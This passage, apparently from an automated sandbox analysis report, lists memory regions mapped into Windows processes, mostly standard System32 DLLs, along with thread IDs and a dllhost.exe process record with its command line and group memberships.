"private_0x000007fffff9c000" filename = "" Region: id = 1318 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1319 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1320 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1321 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1322 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1323 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1324 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1325 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1326 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1327 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1328 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1329 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1330 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1331 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1332 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1334 start_va = 0x1f60000 end_va = 0x1fdffff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 1335 start_va = 0x7fef9070000 end_va = 0x7fef90b3fff entry_point = 0x7fef9070000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1336 start_va = 0x7fef90c0000 end_va = 0x7fef90d7fff entry_point = 0x7fef90c0000 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" (normalized: "c:\\windows\\system32\\dot3api.dll") Region: id = 1337 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1338 start_va = 0x7fef5530000 end_va = 0x7fef5573fff entry_point = 0x7fef5530000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1339 start_va = 0x7fef6a50000 end_va = 0x7fef6a63fff entry_point = 0x7fef6a50000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1340 start_va = 0x7fef7ee0000 end_va = 0x7fef7f1ffff entry_point = 0x7fef7ee0000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1341 start_va = 0x7fef9080000 end_va = 0x7fef9086fff entry_point = 0x7fef9080000 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1342 start_va = 0x7fef9090000 end_va = 0x7fef90affff entry_point = 0x7fef9090000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1343 start_va = 0x7fef90b0000 end_va = 0x7fef90d0fff entry_point = 0x7fef90b0000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1354 start_va = 0xd30000 end_va = 0xdaffff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 1355 start_va = 0x3550000 end_va = 0x35cffff entry_point = 0x0 region_type = private name = "private_0x0000000003550000" filename = "" Region: id = 1356 start_va = 0x7fef54e0000 end_va = 0x7fef5523fff entry_point = 0x7fef54e0000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1357 start_va = 0x7fef6850000 end_va = 0x7fef688ffff entry_point = 0x7fef6850000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1358 start_va = 0x7fef7f00000 end_va = 0x7fef7f13fff entry_point = 0x7fef7f00000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1359 start_va = 0x7fef9080000 end_va = 0x7fef90a0fff entry_point = 0x7fef9080000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1360 start_va = 0x7fef90b0000 end_va = 0x7fef90b6fff entry_point = 0x7fef90b0000 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1361 start_va = 0x7fef90c0000 end_va = 0x7fef90dffff entry_point = 0x7fef90c0000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1475 start_va = 0x7fef40d0000 end_va = 0x7fef4113fff entry_point = 0x7fef40d0000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1476 start_va = 0x7fef4d40000 end_va = 0x7fef4d53fff entry_point = 0x7fef4d40000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1477 start_va = 0x7fef4d60000 end_va = 0x7fef4d9ffff entry_point = 0x7fef4d60000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1478 start_va = 0x7fef4da0000 end_va = 0x7fef4dc0fff entry_point = 0x7fef4da0000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1479 start_va = 0x7fef6940000 end_va = 0x7fef695ffff entry_point = 0x7fef6940000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1480 start_va = 0x7fef8280000 end_va = 0x7fef8286fff entry_point = 0x7fef8280000 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1485 start_va = 0x7fef4d70000 end_va = 0x7fef4d90fff entry_point = 0x7fef4d70000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1486 start_va = 0x7fef4d30000 end_va = 0x7fef4d6ffff entry_point = 0x7fef4d30000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1487 start_va = 0x7fef4db0000 end_va = 0x7fef4dc3fff entry_point = 0x7fef4db0000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1488 start_va = 0x7fef4080000 end_va = 0x7fef40c3fff entry_point = 0x7fef4080000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1512 start_va = 0x3630000 end_va = 0x36affff entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 1513 start_va = 0x7fef3f40000 end_va = 0x7fef3f83fff entry_point = 0x7fef3f40000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1514 start_va = 0x7fef3f90000 end_va = 0x7fef3fa3fff entry_point = 0x7fef3f90000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1515 start_va = 0x7fef57a0000 end_va = 0x7fef57dffff entry_point = 0x7fef57a0000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1516 start_va = 0x7fef57e0000 end_va = 0x7fef5800fff entry_point = 0x7fef57e0000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1517 start_va = 0x7fef57b0000 end_va = 0x7fef57d0fff entry_point = 0x7fef57b0000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1518 start_va = 0x7fef3f70000 end_va = 0x7fef3faffff entry_point = 0x7fef3f70000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1519 start_va = 0x7fef57f0000 end_va = 0x7fef5803fff entry_point = 0x7fef57f0000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1520 start_va = 0x7fef3f20000 end_va = 0x7fef3f63fff entry_point = 0x7fef3f20000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1521 start_va = 0x3640000 end_va = 0x36bffff entry_point = 0x0 region_type = private name = "private_0x0000000003640000" filename = "" Region: id = 1522 start_va = 0x7fef3f40000 end_va = 0x7fef3f83fff entry_point = 0x7fef3f40000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 1523 start_va = 0x7fef3f90000 end_va = 0x7fef3fa3fff entry_point = 0x7fef3f90000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1524 start_va = 0x7fef57a0000 end_va = 0x7fef57dffff entry_point = 0x7fef57a0000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1525 start_va = 0x7fef57e0000 end_va = 0x7fef5800fff entry_point = 0x7fef57e0000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1526 start_va = 0x7fef57b0000 end_va = 0x7fef57d0fff entry_point = 0x7fef57b0000 region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1527 start_va = 0x7fef3f70000 end_va = 0x7fef3faffff entry_point = 0x7fef3f70000 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 1528 start_va = 0x7fef57f0000 end_va = 0x7fef5803fff entry_point = 0x7fef57f0000 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 1529 start_va = 0x7fef3f20000 end_va = 0x7fef3f63fff entry_point = 0x7fef3f20000 region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Thread: id = 75 os_tid = 0x34c Thread: id = 76 os_tid = 0x35c Thread: id = 77 os_tid = 0x794 Thread: id = 78 os_tid = 0x678 Thread: id = 79 os_tid = 0x64c Thread: id = 80 os_tid = 0x140 Thread: id = 81 os_tid = 0x120 Thread: id = 82 os_tid = 0x3f4 Thread: id = 83 os_tid = 0x3f0 Thread: id = 84 os_tid = 0x3e8 Thread: id = 85 os_tid = 0x3e4 Thread: id = 86 os_tid = 0x3d4 Thread: id = 87 os_tid = 0x3d0 Thread: id = 88 os_tid = 0x39c Thread: id = 89 os_tid = 0x398 Thread: id = 90 os_tid = 0x388 Thread: id = 91 os_tid = 0x384 Thread: id = 92 os_tid = 0x36c Thread: id = 93 os_tid = 0x354 Thread: id = 94 os_tid = 0x340 Thread: id = 95 os_tid = 0x6b4 Process: id = "8" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0xb57000" os_pid = "0x558" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x6c0" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1408 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1409 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1410 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1411 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1412 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1413 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1414 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1415 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1416 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1417 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1418 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1419 start_va = 0x480000 end_va = 0x607fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1420 start_va = 0x610000 end_va = 0x790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1421 start_va = 0x7a0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 1422 start_va = 0x1be0000 end_va = 0x1c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001be0000" filename = "" Region: id = 1423 start_va = 0x1c60000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 1424 start_va = 0x1d80000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 1425 start_va = 0x1e90000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 1426 start_va = 0x1f90000 end_va = 0x225efff entry_point = 0x1f90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1427 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1428 start_va = 0x2480000 end_va = 0x257ffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 1429 start_va = 0x2580000 end_va = 0x265efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002580000" filename = "" Region: id = 1430 start_va = 0x2660000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 1431 start_va = 0x27a0000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 1432 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1433 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1434 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1435 start_va = 0x77830000 end_va = 0x77836fff entry_point = 0x77830000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1436 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1437 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1438 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1439 start_va = 0xffba0000 end_va = 0xffba6fff entry_point = 0xffba0000 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 1440 start_va = 0x7fef4e20000 end_va = 0x7fef4ebffff entry_point = 0x7fef4e20000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 1441 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1442 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1443 start_va = 0x7fefc2f0000 end_va = 0x7fefc30efff entry_point = 0x7fefc2f0000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 1444 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1445 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1446 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1447 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1448 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1449 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1450 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1451 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1452 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1453 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1454 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1455 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1456 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1457 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1458 start_va = 0x7fefe360000 end_va = 0x7feff0e7fff entry_point = 0x7fefe360000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1459 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1460 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1461 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1462 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1463 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1464 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1465 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1466 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1467 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1468 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1469 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1470 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1471 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1481 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1482 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1483 start_va = 0x7fef8ac0000 end_va = 0x7fef8badfff entry_point = 0x7fef8ac0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1484 start_va = 0x7fefc0f0000 end_va = 0x7fefc2e3fff entry_point = 0x7fefc0f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1489 start_va = 0x110000 end_va = 0x116fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1490 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1491 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1492 start_va = 0x140000 end_va = 0x143fff entry_point = 0x140000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1493 start_va = 0x150000 end_va = 0x153fff entry_point = 0x150000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1494 start_va = 0x1ba0000 end_va = 0x1bcffff entry_point = 0x1ba0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 1495 start_va = 0x2260000 end_va = 0x22c5fff entry_point = 0x2260000 region_type = mapped_file name = 